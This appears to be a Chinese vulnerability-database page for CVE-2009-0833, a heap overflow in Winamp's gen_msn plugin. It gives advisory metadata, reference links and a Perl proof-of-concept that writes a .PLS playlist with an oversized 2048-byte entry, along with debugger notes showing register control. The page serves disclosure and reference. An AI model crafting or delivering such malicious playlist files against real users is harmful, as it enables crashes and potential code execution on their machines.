Myplugins Winamp gen_msn插件播放列表文件处理堆溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117215 漏洞类型 缓冲区溢出
发布时间 2009-01-07 更新时间 2009-03-06
CVE编号 CVE-2009-0833 CNNVD-ID CNNVD-200903-110
漏洞平台 Windows CVSS评分 9.3
|漏洞来源
https://www.exploit-db.com/exploits/7696
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200903-110
|漏洞详情
Winamp是一款流行的媒体播放器,支持多种文件格式。Winamp所使用的gen_msn插件(gen_msn.dll)在处理超长的播放列表项时存在堆溢出漏洞,如果用户受骗加载了恶意的.PLS文件就可以触发这个溢出,导致执行任意指令。
|漏洞EXP
#!/usr/bin/perl
# WinAmp GEN_MSN Plugin Heap Buffer Overflow
# ------------------------------------
# Discovered by SkD (skdrat@hotmail.com) &
#		    (skd@abysssec.com)
# ------------------------------------
#
# I'm not much for posting PoCs because
# I like writing exploits for whatever
# I discover and if I don't, its a waste.
#
# Anyway, this buffer overflow is located
# in the gen_msn plugin, which
# is basically a plugin that shows what
# song you're currently listening to
# on your PM in MSN. The plugin has over
# 800,000 downloads so its serious..
# (http://www.winamp.com/plugins/details/144799)
# This is similar to my other recent exploit
# for VUPlayer because it uses the same point
# of the .PLS playlist file!
#
# Debug Info:
# MOV EDI,DWORD PTR DS:[ECX+EAX*4+960]
# Regs:
# EAX 00000003
# ECX 41414141   <- Clear control over the register
# EDX 007EA478
# EBX 40000001
# ESP 028F1DB0
# EBP 77230459 USER32.SendMessageA
# ESI 08FD62A8 gen_msn.08FD62A8
# EDI 00497300 UNICODE "http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
# EIP 08FD293C gen_msn.08FD293C
#
# Peace out.
#                           _________ ___   ________
#                          /   _____/|  | __\______ \
#                          \_____  \ |  |/ / |    |  \
#                          /        \|    <  |    `   \
#                         /_______  /|__|_ \/_______  /
#                                 \/      \/        \/
use strict;
use warnings;

my $overflow = "\x41" x 2048;

open(my $pls_playlist, "> poc.pls");
print $pls_playlist "[playlist]\r\n".
		    "NumberOfEntries=1\r\n".
                    "File1=http://".
                    $overflow.
                    "\r\n";
close $pls_playlist;

# milw0rm.com [2009-01-07]
|参考资料

来源:BID
名称:33159
链接:http://www.securityfocus.com/bid/33159
来源:MILW0RM
名称:7696
链接:http://www.milw0rm.com/exploits/7696
来源:SECUNIA
名称:33425
链接:http://secunia.com/advisories/33425